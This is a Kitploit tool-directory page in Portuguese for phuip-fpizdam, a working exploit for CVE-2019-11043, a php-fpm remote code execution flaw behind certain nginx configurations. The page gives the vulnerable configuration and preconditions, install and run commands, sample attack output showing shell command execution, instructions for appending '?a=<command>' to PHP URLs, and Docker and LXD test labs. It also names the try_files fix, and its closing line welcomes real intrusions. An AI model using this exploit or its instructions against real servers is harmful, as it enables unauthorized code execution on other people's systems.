Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
phuip-fpizdam — Exploit para CVE-2019-11043 | Kitploit
Ferramentas/GitHubGitHub/codehex083/phuip-fpizdam
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

Exploit para CVE-2019-11043

Ver Repositório
3há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PHuiP-FPizdaM

O que é isso

Este é um exploit para um bug no php-fpm (CVE-2019-11043). Em certas configurações de nginx + php-fpm, o bug pode ser acionado externamente. Isso significa que um usuário da web pode obter execução de código se você tiver uma configuração vulnerável (veja abaixo).

Análise

Como estávamos com preguiça de fazer uma análise, Orange Tsai publicou uma análise perfeita em seu blog. Créditos para ele.

Além disso, meus slides da ZeroNights 2019 estão disponíveis.

O que é vulnerável

Se um servidor web executa nginx + php-fpm e o nginx tiver uma configuração como

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

que também não tenha verificações de existência de script (como try_files), então você provavelmente conseguirá invadi-lo com este sploit.

A lista completa de pré-condições

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) deve ser encaminhado para o php-fpm (talvez a regex possa ser mais restrita, veja #1).
  2. Deve haver uma atribuição da variável PATH_INFO via declaração fastcgi_param PATH_INFO $fastcgi_path_info;. Além disso, SCRIPT_FILENAME deve ser definido usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (pode haver um caminho constante em vez de $document_root). No início, pensamos que isso estava sempre presente no arquivo fastcgi_params, mas não é verdade.
  3. Deve haver uma maneira de definir PATH_INFO como um valor vazio. Este exploit assume que a diretiva fastcgi_split_path_info está presente e contém uma regex começando com ^ e terminando com $, então ele tenta quebrar a regex com um caractere de nova linha.

Isso não é conhecido por ser vulnerável há anos?

Há muito tempo, o php-fpm não restringia as extensões dos scripts, o que significava que algo como /avatar.png/some-fake-shit.php poderia executar avatar.png como um script PHP. Esse problema foi corrigido por volta de 2010.

O atual não exige upload de arquivo, funciona nas versões mais recentes (até a correção ser lançada) e, o mais importante, o exploit é muito mais legal.

Como executar

Instale-o usando

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Se você tiver erros estranhos de compilação, certifique-se de estar usando go >= 1.13. Execute o programa usando phuip-fpizdam [url] (supondo que você tenha $GOPATH/bin dentro do seu $PATH, caso contrário, especifique o caminho completo para o binário). Uma boa saída se parece com isso:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

Depois disso, você pode começar a acrescentar ?a=<seu comando> a todos os scripts PHP (talvez seja necessário repetir várias vezes).

Alternativamente, você pode usar uma imagem docker para executar o exploit:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Ambientes de teste

Usando Docker

Se você quiser reproduzir o problema ou brincar com o exploit localmente por meio do Docker, faça o seguinte:

  1. Clone este repositório e vá para o diretório reproducer.
  2. Crie a imagem docker usando docker build -t reproduce-cve-2019-11043 .. Isso leva muito tempo, pois clona internamente o repositório do php e o compila a partir do código-fonte. No entanto, será mais fácil dessa forma se você quiser depurar o exploit. A revisão compilada é a imediatamente anterior à correção.
  3. Execute o docker usando docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. Agora você tem http://127.0.0.1:8080/script.php, que é um arquivo vazio.
  5. Execute o exploit usando phuip-fpizdam http://127.0.0.1:8080/script.php
  6. Se tudo estiver correto, você poderá executar comandos acrescentando ?a= ao script: http://127.0.0.1:8080/script.php?a=id. Tente várias vezes, pois apenas alguns dos workers do php-fpm estão infectados.

Usando containers de sistema LXD

Se você quiser reproduzir o problema ou experimentar o exploit localmente via LXD, faça o seguinte:

  1. Crie dois containers de sistema, vulnerable e attacker. Você pode usar a imagem de container ubuntu:18.04 para ambos os containers.
  2. No container vulnerable, instale nginx e php-fpm. Configure o bloco de servidor conforme esta configuração. Crie um arquivo vazio /var/www/html/index.php.
  3. No container attacker, instale a linguagem Go (sudo snap install go --classic), clone este repositório e execute go build no diretório do repositório.
  4. Execute o ataque da seguinte forma: ./phuip-fpizdam http://vulnerable.lxd/index.php. Tente várias vezes para infectar todos os workers do php-fpm.

Para instruções mais detalhadas, veja Testando CVE-2019-11043 (vulnerabilidade de segurança do php-fpm) com containers de sistema LXD.

Sobre o PHP5

O buffer underflow no php-fpm está presente na versão 5 do PHP. No entanto, este exploit utiliza uma otimização usada para armazenar variáveis FastCGI, _fcgi_data_seg. Essa otimização está presente apenas no php 7, portanto este exploit específico funciona apenas no php 7. Pode haver outra técnica de exploração que funcione no php 5.

Créditos

Anomalia original descoberta por d90pwn durante o Real World CTF. Causa raiz encontrada por mim (Emil Lerner), assim como a forma de definir opções do php.ini. O conjunto final de opções do php.ini foi encontrado por beched.

Licença

Este exploit é distribuído sob os termos da Licença MIT.

Abstenha-se de causar qualquer dano com este exploit. Mas se você realmente invadir algo com esta ferramenta, ficarei feliz.

Baixar ferramenta
  • Este exploit específico assume que PATH_INFO é definido após REQUEST_URI na configuração.
  • Sem verificações de existência de arquivo como try_files $uri =404 ou if (-f $uri). Se o Nginx descartar solicitações para scripts inexistentes antes do encaminhamento FastCGI, nossas solicitações nunca chegam ao php-fpm. Adicionar isso também é a maneira mais fácil de corrigir.
  • Este exploit funciona apenas com PHP 7+, mas o bug em si está presente em versões anteriores (veja abaixo).